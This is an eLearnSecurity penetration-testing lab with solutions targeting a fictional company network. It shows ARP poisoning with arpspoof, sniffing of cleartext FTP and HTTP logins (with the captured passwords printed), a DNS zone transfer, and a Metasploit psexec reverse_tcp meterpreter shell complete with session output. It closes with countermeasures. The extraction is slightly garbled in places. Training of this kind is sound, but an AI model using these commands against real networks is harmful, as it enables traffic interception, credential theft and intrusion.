1. LAB SNIFFING LAB ID: 10

(1)

H E R A

L

A

B

I

D

:

1

0

0 SNIFFING

S Snniiffffiinnggiinnaasswwiittcchheeddnneettwwoorrkk––AARRPPPPooiissoonniinngg A Annaallyyzziinnggaanneettwwoorrkkttrraaffffiicc E Exxttrraaccttiinnggffiilleessffrroommaanneettwwoorrkkttrraaccee S Stteeaalliinnggccrreeddeennttiiaallss M Maappppiinngg//eexxpplloorriinnggnneettwwoorrkkrreessoouurrcceess

(2)

1. LAB

You are a Penetration Tester and you’re asked to determine if a very sensitive network segment is secure. The client named Sportsfoo.com is a small research company specialized in Sports, so all data from a specific segment should only be available to the authorized users and should not be exposed to anybody else. The scope provided by the client is any host/device on the 172.16.5.0/24 network.

The following image represents the LAB environment:

Network 172.16.5.0

172.16.5.x PENTESTER

(3)

2. G

OALS

Map the network Sniff the traffic

Review the network traffic List your findings

See what you can do with the credentials discovered Bonus: Provide a list of countermeasures to your client

3. W

HAT YOU WILL LEARN

How to map a network

How to sniff in a switched network – ARP Poisoning attack Review FTP and HTTP packets

Obtain files transferred via SMB

How to use the sensitive information obtained from the network trace in order to expand your access to the network

To guide you during the lab you will find different Tasks.

Tasks are meant for educational purposes and to show you the usage of different tools and different methods to achieve the same goal.

(4)

If this is the first time you do this lab, we advise you to follow these Tasks. Once you have completed all the Tasks, you can proceed to the end of this paper and check the solutions.

4. R

ECOMMENDED TOOLS

netdiscover nmap arpspoof driftnet Wireshark Metasploit / PSEXEC SMBmount

5. I

MPORTANT

N

OTE

Further information:

Labs machines (like web server and internal organization machines) are not connected to the internet.

In order to connect to the target organization website you have to insert the following line in your hosts file:

(5)

--- hosts path --- Windows: C:\Windows\System32\drivers\etc\hosts Linux: /etc/hosts

(6)

1. T

ASKS

Task 1: Host Discovery – Using ARP requests

Using only ARP packets, please list all online hosts of the network 172.16.5.0/24.

Mac Address Host IP address

Please, list another way (another tool and its parameters) you could use to get the same information (still using only ARP packets):

____________________________________________________________ ____________________________________________________________

Task 2: Host Discovery – Using DNS

Task 2.1: Determine the DNS Server

Perform a port scan in all of the hosts above in order to identify which one is running the DNS Service. Be very specific, so make sure you will only check for the DNS Port. Also, using the same command line, determine if the DNS Server is running Linux, BSD, or Windows.

(7)

Using any DNS Lookup tool, please, determine for what domain name this DNS Server is authoritative.

Domain Name

Task 2.3: List additional hosts using DNS zone transfer

Once you know the domain name and the DNS Server address, please, check if you are able to identify new hosts using a DNS zone transfer.

New Hosts

Can you tell why the hosts above were not found using ARP requests? ____________________________________________________________ ____________________________________________________________ ____________________________________________________________

Task 3: Identify the default gateway for the 172.16.5.0/24 network

According to all tasks above, you have been able to identify two different networks. Now we need to identify the default gateway who is handling the communication between these networks. How can you do that?

____________________________________________________________ ____________________________________________________________

(8)

Let’s draw a network map in order to graphic represent the environment that we have discovered so far.

Task 5: Sniff packets between the hosts 172.16.5.5 and 172.16.5.1

Sniff all packets sent/received between the hosts 172.16.5.5 and 172.16.5.1. Keep yourself sniffing this target for 5 minutes. Save the network trace as /root/task5.pcap. Make sure you are able to see all images while you are sniffing.

Sniff all packets sent/received between the hosts 172.16.5.6 and 172.16.5.1. Keep yourself sniffing this target for 5 minutes. Save the network trace as /root/task6.pcap.

Sniff all packets sent/received between the hosts 172.16.5.6 and 172.16.5.10. Keep yourself sniffing this target for 5 minutes. Save the network trace as /root/task7.pcap.

Task 8: Analyze the file /root/task5.pcap

(9)

HTTP Percentage: ______ FTP Percentage: ______

Task 8.2: Analyze the HTTP traffic – Part 1

Create a filter in Wireshark so you can see only the HTTP traffic. Also make sure your filter don’t show any packet originated or destined to your (attacker) machine. The HTTP protocol consists of a couple of different commands (full details are available on the RFC 2616).

Remember that we were hired to determine if that network segment is secure, so analyze all of the packets and determine which ones are secure.

Find at least 2 HTTP requests which are not secure, but they don’t seem to contain confidential information.

Find at least 2 HTTP requests that are really insecure and expose your client to big problems like identity theft, privilege escalation, etc.

(10)

Create a filter in Wireshark to show only the FTP traffic.

Task 8.7: Analyze the FTP traffic – Part 2

List the ftp commands issued by the host 172.16.5.5.

What is the username and password used during that FTP connection?

Task 9.1: Determine the username and password in use for the website http://intranet.sportsfoo.com

Analyze all of the HTTP POST requests and determine what is the correct username and password in use by the host 172.16.5.6 when accessing the

http://intranet.sportsfoo.com

Username Password

Task 9.2: Recovery all of the files downloaded by the user above

By reviewing all of the HTTP GET requests, describe all of the files that were retrieved by the user above.

(11)

Review the network trace obtained via task 7. Identify two files which were transferred via SMB and its contents.

Filename Contents

Task 11: Use the credentials gathered in order to see what access you can get on the host 172.16.5.10

With two different credentials in handy, check if you can access the following resources:

\\172.16.5.10\finance – Credential:

\\172.16.5.10\technology – Credential:

Remote shell on the 172.16.5.10 – Credential:

Task 12: Countermeasures

List at least one countermeasure that your client could implement for some of the problems identified during the test.

1. What protocol can be used on the http://intranet.sportsfoo.com in order to avoid that credentials are transmitted in clear-text?

(12)

3. What protocol can be used to ensure that all traffic between the file server and any other host on the LAN are encrypted?

4. What countermeasure can be implemented in order to protect the network against ARP poisoning attacks?

(13)

(14)

Answer: netdiscover –i tap0 –r 172.16.5.0/24

Explanation: The netdiscover command works by sending ARP requests to the broadcast address asking for specific IP address range (if specified). ARP (Address Resolution Protocol) is a protocol used for resolution of network layer addresses (IP address) into link layer addresses (MAC address). ARP works on the layer 2 of the OSI model, so it can only be used to discovery hosts which are located in the same subnet. As you can see on the screenshot below, many ARP packets were sent to the Broadcast address (ff:ff:ff:ff:ff:ff), however, ARP replies were only obtained from the hosts which are live: 172.16.5.1, 172.16.5.5, 172.16.5.6, and 172.16.5.10.

Mac Address Host IP address

00:50:56:b1:04:bc 172.16.5.1

00:50:56:b1:05:b6 172.16.5.5

(15)

00:50:56:b1:05:ba 172.16.5.10

Please, list another way (another tool and its parameters) you could use to do host discovery using only ARP requests:

Answer: nmap –PR –sn 172.16.5.1-255

Task 2: Host Discovery – Using DNS

Task 2.1: Determine the DNS Server

Answer: nmap –sT –v –p53 172.16.5.1 172.16.5.5 172.16.5.6 172.16.5.10 Explanation: As we already have a list of hosts found, now, we need to query each one of these hosts in order to identify who is running the DNS service. DNS port is TCP/53 (for zone transfer) and UDP/53 (for DNS queries), all we need to do is to check if the TCP port 53 is open in all of the hosts that we know are online. The command above is issued above tells nmap to use a TCP connect scan (-sT) to the port 53 (-p53) to the hosts 172.16.5.1, 172.16.5.5, 172.16.5.6, and 172.16.5.10.

As shown in the screenshot below, NMAP sent four SYN packets, targeting the port 53 of all of these hosts. According to the TCP 3-way handshake, the hosts which are listening to that port should answer with a SYN,ACK packet. The hosts which don’t have the port 53 open should answer with a RST,ACK packet. As we can see on the screenshot, the only host which replied with a SYN,ACK packet is the 172.16.5.10, while the host 172.1.16.5.6 replied with a RST,ACK packet which means that port is closed. The hosts 172.16.5.1 and 172.16.5.5 have not responded with any

(16)

DNS Server IP Address 172.16.5.10

Task 2.2: Determine the domain name

Answer: sportsfoo.com

Explanation: Once we already know a couple of hosts of our client and also who is the DNS Server for that network, our next step is to identify the network domain name. We can do that by using reverse lookups with nslookup or dig.

nslookup

(here we are launching the nslookup utility)

> server 172.16.5.10

(here we are telling the tool to use a specific DNS server. By default nslookup uses the DNS servers specified on the file /etc/resolv.conf)

Default server: 172.16.5.10 Address: 172.16.5.10#53 > 172.16.5.5

(17)

(here we are asking the DNS server to tell us what is the FQDN - fully qualified domain

name - for the host 172.16.5.5. We could use any known IP address).

Server: 172.16.5.10 Address: 172.16.5.10#53

5.5.16.172.in-addr.arpa name = wkst-techsupport.sportsfoo.com.

You could also use dig for the task above. The following command line would do all of the work above:

dig @172.16.5.10 –x 172.16.5.5

Task 2.3: List additional hosts using DNS zone transfer

Answer: dig @172.16.5.10 sportsfoo.com -t AXFR

Explanation: Zone transfers are, usually, misconfigurations of a DNS server. They should be enabled, if required, only for trusted IP addresses (usually trusted downstream name servers). When zone transfers are open to anyone, we can enumerate the whole DNS record for that zone. There are a couple of different tools that are able to do that, however, we will focus on dig. The command dig @172.16.5.10 sportsfoo.com –t AXFR asks the DNS Server 172.16.5.10 to list all of their records (full zone transfer –t AXFR) for the domain named: sportsfoo.com. The full command and its results are listed below. Note that we were able to discovery two new hosts: 10.10.10.6 and 10.10.10.10.

dig @172.16.5.10 sportsfoo.com -t AXFR

; <<>> DiG 9.7.0-P1 <<>> @172.16.5.10 sportsfoo.com -t AXFR ; (1 server found)

(18)

sportsfoo.com. 3600 IN SOA els-winser2003.sportsfoo.com. hostmaster.sportsfoo.com. 19 900 600 86400 3600 sportsfoo.com. 3600 IN NS els-winser2003.sportsfoo.com. sportsfoo.com. 3600 IN NS els-winser2003.sports.com. els-winser2003.sportsfoo.com. 3600 IN A 172.16.5.10 ftp.sportsfoo.com. 3600 IN A 10.10.10.6 intranet.sportsfoo.com. 3600 IN A 10.10.10.10 wkst-finance.sportsfoo.com. 3600 IN A 172.16.5.6 wkst-techsupport.sportsfoo.com. 3600 IN A 172.16.5.5

sportsfoo.com. 3600 IN SOA els-winser2003.sportsfoo.com. hostmaster.sportsfoo.com. 19 900 600 86400 3600

;; Query time: 411 msec

;; SERVER: 172.16.5.10#53(172.16.5.10) ;; WHEN: Sun Nov 18 03:19:16 2012

;; XFR size: 9 records (messages 9, bytes 609)

The new hosts found belong to a different network (10.10.10.x). As the penetration tester laptop is placed in the network 172.16.5.0/24 and all of the host discovered performed so far were only done using ARP packets, we then understand that we were unable to find these hosts before because ARP packets can only sent to machines in the same broadcast domain, so ARP discovery only works for hosts in the same subnet.

(19)

Answer: The default gateway is 172.16.5.1

Explanation: One of the methods that could be used to identify the default gateway of a network is to track the packets taken from an IP network on their way to a given host. The command traceroute does exactly that, however, in this case looks like the default gateway is blocking ICMP packets, so traceroute is not going to help here.

Another way to try to identify the default gateway is to evaluating the already existing routes in your system. You can do that by running the route command. As you can see below, always that the penetration tester needs to communicate with the network 10.10.10.0, it’s going to use the gateway 172.16.5.1.

Note: In order to be able to sniff packets properly using arpspoof, you will need to use the same default gateway that the one which is in use by your target.

(20)

This is a possible graphic representation after compiling all information gathered so far: Network 172.16.5.0 172.16.5.10 els-winser2003.sportsfoo.com DNS Server 172.16.5.5 wkst-techsupport.sportsfoo.com 172.16.5.6 wkst-finance.sportsfoo.com Network 10.10.10 10.10.10.6 ftp.sportsfoo.com 10.10.10.10 intranet.sportsfoo.com Default Gateway 172.16.5.1 172.16.5.x PENTESTER

In order to sniff all packets between the hosts 172.16.5.5 and 172.16.5.1 we can follow the instructions below:

1-) Prepare to collect all of the network traffic sent to/from your target: 1.1-) Launch Wireshark (If you are using Backtrack, click Applications, Forensics, Network Forensics, Wireshark).

1.2-) Select the network interface that you intend to grab network traffic (Click Capture, Interfaces, check tap0, and then click Start).

2-) Enable IP forward in your system. To do this, run the following command:

(21)

eLearnSecurity s.r.l. © 2012 | H E R A ₂₁ 3-) Now we will need to trick our targets. We will need to tell to the IP address 172.16.5.5 that every time that it needs to communicate to the IP address 172.16.5.1, it should forward the request to the PENTESTER system and vice-versa. It can be done by the following commands (we will need two different terminal windows to run these commands):

arpspoof –i tap0 –t 172.16.5.5 172.16.5.1 arpspoof –i tap0 –t 172.16.5.1 172.16.5.5

The commands above will keep sending ARP packets in order to trick the ARP table of both hosts. It will set the ARP table in a malicious way so always that the host 172.16.5.5 needs to communicate to the 172.16.5.1, instead of going to the MAC Address of the host 172.16.5.1, it will go to the MAC address of our system (penetration tester).

In order to illustrate this attack, consider the following ARP table cache displayed on the system 172.16.5.5 before launching the attack:

(22)

(23)

eLearnSecurity s.r.l. © 2012 | H E R A ₂₃ 4-) Launch driftnet in order to see if are any images on the traffic between these hosts, so you can might have a clue about what they are doing. To do that, run the following command:

driftnet –i tap0 You might be able to see some images like:

5-) Wait 5 minutes or so and then stop the network capture in Wireshark. Also interrupt (control + c) or close the arpspoof commands that might be still running. Save the network capture as /root/task5.pcap so we can review it later.

(24)

We will need to repeat the same technique used in Task 5, so let’s summarize what we will need to do:

1-) Start Wireshark and start a new capture by selecting the proper network interface tap0.

2-) Check if IP Forward is already enabled in your system by running the command cat /proc/sys/net/ipv4/ip_forward. The default value is 0. If its 1, it means that it’s already enabled. If its disabled, make sure that you enable it by running the command:

echo 1 > /proc/sys/net/ipv4/ip_forward

3-) Now we will need to trick our targets by changing their ARP cache table. For that, we will need to open two different terminal windows and run the following commands:

4-) Launch driftnet in order to see if so you can have an understanding about what is happening between these hosts. To do that, run the following command:

driftnet –i tap0

(25)

eLearnSecurity s.r.l. © 2012 | H E R A ₂₅ 5-) Wait 5 minutes or so and then stop the network capture in Wireshark. Also interrupt (control + c) or close the arpspoof commands that might be still running. Save the network capture as /root/task6.pcap so we can review it later.

Task 7: Sniff packets between the hosts 172.16.5.6 and 172.16.5.10 We will need to repeat the same techniques used in Task 5 and 6, so: 1-) Start Wireshark and start a new capture by selecting the network interface tap0.

2-) Check if IP Forward is already enabled in your system by running the command cat /proc/sys/net/ipv4/ip_forward. The default value is 0. If its 1, it means that it’s already enabled. So if its disabled, make sure that you enable it by running the command:

(26)

3-) Now we will need to trick our targets by changing their ARP cache table. For that, we will need to open two different terminal windows and run the following commands:

4-) Wait 5 minutes or so and then stop the network capture in Wireshark. Also interrupt (control + c) or close the arpspoof commands that might be still running. Save the network capture as /root/task7.pcap so we can review it later.

Task 8.1: Understand the big picture of the network traffic gathered Before diving into every packet of the network trace, first try to understand the type of traffic that was obtained. We can do that by opening the file /root/task5.pcap in Wireshark and then Statistics, Protocol Hierarchy.

(27)

eLearnSecurity s.r.l. © 2012 | H E R A ₂₇ According to the screenshot above, we can see that from all traffic obtained, we got 2,02% of FTP traffic, 4,19% of HTTP traffic, and then 5,63% of SSL traffic.

Create a filter in Wireshark so you can see only the HTTP traffic. Also make sure that you only see the network traffic sent and received by your target (172.16.5.5). You can do that by inserting the following string on the filter field as highlighted below:

http and ip.addr == 172.16.5.5

After analyzing the HTTP traffic we were able to understand that it’s a protocol which consists of a bunch of requests and responses basically. Also all traffic transmitted in HTTP is also transmitted in clear-text.

(28)

eLearnSecurity s.r.l. © 2012 | H E R A ₂₈ SSL is the protocol which implements security for the HTTP protocol. When you use SSL, all of your strings are not transmitted in clear-text, so even if someone is able to capture your traffic, it will be a hard time to try to decrypt it in order to understand what’s going on.

So, in order to determine which packets sent/received by the host 172.16.5.5 are secure, all we need to do is to create a filter for SSL packets:

One of the main commands used on the HTTP protocol is the HTTP GET request. HTTP GET requests are usually used when you want to retrieve a file from a webserver.

In the screenshot below, we could see that the user has browsed to the file casillas.png on the http://intranet.sportsfoo.com website. You can see the HTTP GET request (in red) and also the HTTP Response from the server (in blue):

(29)

eLearnSecurity s.r.l. © 2012 | H E R A ₂₉ So while the information is being transmitted in clear-text on the network, likely the only fact that the user is browsing to that website and downloading a couple of files is not a big deal. We can see other HTTP GET requests issued by the user by creating the following filter in Wireshark:

http.request.method == “GET”

(30)

The HTTP POST request is usually used when an user wants to submit an information to the webserver (like filling a form). So its definitively something that we want to check in order to see if critical information is being transmitted in clear-text. We can do that by creating the following filter in Wireshark:

http.request.method == “POST”

As you can see on the screenshot below, there are a couple of POST requests with a very interesting name: POST /checklogin.php. Let’s take a look closer to one of these requests by selecting one of these packets, right click on it, and then select Follow TCP Stream:

(31)

eLearnSecurity s.r.l. © 2012 | H E R A ₃₁ According to the screenshot above, we are able to see an attempt to login on the http://intranet.sportsfoo.com website by submitting the username gfreitas and the password Silv@n@. However, looks like it failed, because the server answered with a HTTP 302 code which is redirecting the user to a page named notheremyfriend.php. Even if this credential is not valid for this website, an attacker might want to use that credential when attacking other resources.

On the same screen (Follow TCP Stream), click in the button named Filter out This Stream, so Wireshark will exclude temporary this request from the remaining packets, so you can continue your analysis.

You will have to repeat the procedure above until you find a valid credential. According to the example below we were able to obtain a valid credential. While the password et1@sR7! used by the user admin is a strong one, it doesn’t helps since it is being transmitted in clear-text.

Note: You can try to validate this credential by trying to login on the

http://intranet.sportsfoo.com website.

(32)

Create a filter in Wireshark to show only the FTP traffic. It’s pretty simple by just typing ftp on the Filter field and hitting <Enter> or by clicking on the Apply button.

List the ftp commands issued by the host 172.16.5.5. We can do that by selecting the first packet, right click on it, and select Follow TCP Stream:

All of the commands issued by the user are in red and all of the server responses are in blue.

(33)

What is the username and password used during that FTP connection? According to the screenshot above, the username is admin and the password is et1@sR7!

Task 9.1: Determine what the username and password in use for the website http://intranet.sportsfoo.com

Analyze all of the HTTP POST requests and determine what is the correct username and password in use by the host 172.16.5.6 when accessing the

http://intranet.sportsfoo.com .

According to the second screenshot of the Task 8.7, we already got an understanding that when an user is able to login successfully it will get a HTTP 302 response which will redirect the user to the page named login_success.php. If the authentication fails, it will also get a HTTP 302 response, however, the user will be redirected to the page named notheremyfriend.php.

With that in mind, instead of going through every single HTTP we can just create and apply a filter that will just show all of the packets of our interest:

(34)

According to the screenshot below, we were able to identify one more working credentials:

Username Password almir Corinthians2012

Task 9.2: Recovery all of the files downloaded by the user above

Use the following steps in order to recovery (retrieve) all of the files downloaded by the user:

1-) Launch Wireshark and then open the following file: /root/task6.pcap 2-) Click File, Open, Export Objects, HTTP

(35)

(36)

Review the network trace obtained in task 7. Identify two files which were transferred via SMB and its contents.

1-) Launch Wireshark and open the file /root/task7.pcap

2-) Click Statistics, Protocol Hierarchy in order to get an understanding of the type of traffic that we will need to deal with.

(37)

eLearnSecurity s.r.l. © 2012 | H E R A ₃₇ 3-) According to the screenshot above, looks like there was a significant amount of traffic being transmitted via SMB. So let’s create a filter in Wireshark so we can only see traffic related to this protocol. We just need to type smb on the filter field and then click Apply:

4-) We can have a clue if there were any file transmitted via SMB by creating a filter with the following string: smb.file:

5-) According to the screenshot above, looks like there are some interesting files being transmitted via SMB. We can try to retrieve those files using the following steps:

5.1-) Click File, Export Objects, SMB.

5.2-) You should see a list of files that were transmitted via SMB. Note that looks like we have two different files. The first one has 374 bytes and the other has 662 bytes. According to the screenshot above, probably one of the files is the performance.doc and the other one is the salaries.doc.

(38)

(39)

With two different credentials in handy, check if you can access the following resources:

1-) \\172.16.5.10\finance

2-) \\172.16.5.10\technology

3-) Remote shell on the 172.16.5.10

According to the tasks 8.5 and 8.7, we have discovered the following credential:

Username Password

admin et1@sR7!

According to the task 9.1, we have discovered the credential below: Username Password

almir Corinthians2012

Now, all we need to do is to test the credentials above in order to see which one can access the resources above.

11.1 Testing access to the UNC share: \\172.16.5.10\finance

1-) We can use the command smbmount in order to mount a UNC share in our Linux system. To do this we will need to type:

Smbmount //172.16.5.10/finance /tmp/finance –o username=almir,password=Corinthians2012,rw

(40)

1-) We can use the command smbmount in order to mount a UNC share in our Linux system. To do this we will need to type:

Smbmount //172.16.5.10/technology /tmp/technology –o username=admin,password=et1@sR7!

(41)

1-) Once we have two valid credentials we might want to try to get a remote shell by using the PSEXEC exploit. In order to do that, open the Metasploit Console (msfconsole) and prepare an exploit according to the parameters below:

msf > use exploit/windows/smb/psexec msf exploit(psexec) > set SMBUser admin SMBUser => admin

msf exploit(psexec) > set SMBPass et1@sR7! SMBPass => et1@sR7!

msf exploit(psexec) > set RHOST 172.16.5.10 RHOST => 172.16.5.10

msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(psexec) > set LHOST 172.16.5.101 (Pentester IP address) LHOST => 172.16.5.101

msf exploit(psexec) > exploit

2-) Once you run the exploit above, you will see that you will be able to get a remote shell on the host 172.16.5.10 successfully, since the credential used (admin) is also a local administrator account for that particular host:

(42)

[*] Started reverse handler on 172.16.5.101:4444 [*] Connecting to the server...

[*] Authenticating to 172.16.5.10:445|WORKGROUP as user 'admin'... [*] Uploading payload...

[*] Created \gNtqvmkK.exe...

[*] Binding to

367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.5.10[\svcctl] ...

[*] Bound to 367abb81-9844-35f12-98f038001003:2.0@ncacn_np:172.16.5.10[\svcctl] ... [*] Obtaining a service manager handle...

[*] Creating a new service (ZdlTfEpQ - "MSTOPiQJKeoqes")... [*] Closing service handle...

[*] Opening service... [*] Starting the service... [*] Removing the service...

[*] Sending stage (752128 bytes) to 172.16.5.10 [*] Closing service handle...

[*] Deleting \gNtqvmkK.exe...

[*] Meterpreter session 1 opened (172.16.5.101:4444 -> 172.16.5.10:1594) at 2012-11-18 18:55:11 -0200

meterpreter > shell Process 3716 created. Channel 1 created.

els-winser2003

C:\WINDOWS\system32>

Task 12: Countermeasures

List at least one countermeasure that your client could implement for some of the issues identified during the test:

1. What protocol can be used on the http://intranet.sportsfoo.com

(43)

2. What protocol or tool can be used as a replacement for the FTP service in use on the host ftp.sportsfoo.com?

Answer: SFTP

3. What protocol can be used to ensure that all traffic between the file server and any other host on the LAN are encrypted?

Answer: IPSEC

4. What countermeasure can be implemented in order to protect the network against ARP poisoning attacks?